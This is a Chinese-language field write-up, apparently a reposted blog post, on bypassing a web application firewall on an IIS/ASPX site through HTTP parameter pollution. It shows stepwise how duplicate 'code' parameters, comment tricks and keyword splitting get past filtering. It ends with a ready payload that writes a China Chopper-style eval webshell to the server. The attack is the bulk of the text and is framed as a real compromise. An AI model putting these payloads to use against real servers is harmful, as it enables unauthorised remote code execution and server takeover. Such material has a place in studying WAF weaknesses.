實戰|記一次iis+aspx環境下利用http參數污染繞過waf
環境介紹
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf:某不知名waf
漏洞點情況
新建模板處,可以直接寫入內容到文件:
但是一寫入正常的aspx語句就被攔截,連簡單的輸出語句都不行:

bypass過程
一開始也試過諸多繞過方法,包括各種常見編碼、chunked編碼等等,都不太行。
然后嘗試了一下,看有沒有http參數污染(兩個code參數):

訪問下生成的aspx文件:

可以看到確實是可以的,但是中間有個逗號,我們該怎么利用來寫入aspx文件呢?
比如一個最簡單的輸出hello world:
<%@Page Language="C#"%> <% Response.Write("hello,world"); %>
之前我們通過測試知道<% Response.Write("hello,world"); %>這個會被waf攔截,刪掉<%之后呢?

可以看到成功上傳,那么思路就來了,將<%%>拆分就行,但是怎么讓服務器忽略掉那個逗號呢?
自然是使用注釋。
aspx是支持 “//”的注釋方式的,然后我們需要使用換行,把我們的內容換到下一行避免被注釋,于是:

看看生成的文件:

然后我們試著拆分前面被攔截的那個輸出hello world的語句:
code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

成功生成:

Getshell
經過了好一番嘗試,發現waf還過濾了Request等關鍵詞,eval()可以上傳,但是括號里面有內容比如eval(xxx)就不行。
參考了這篇文章里的注釋符號:
https://www.cnblogs.com/xiaozi/p/7566795.html
將 eval(a)
拆分為
eval/*-/*-*/(a/*,*/)
Request就直接用加號進行連接,比如:"Req"+"uest"
最終結合hpp來利用,上傳菜刀一句話的payload為:
code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>
這個生成的文件內容應該是:
<%@ Page Language = Jscript %><%//,
var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>
上傳:

成功拿到一個菜刀shell,當然,菜刀因為waf的原因不能用:

eval都行了,還怕拿不到shell?
文章來源:烏云安全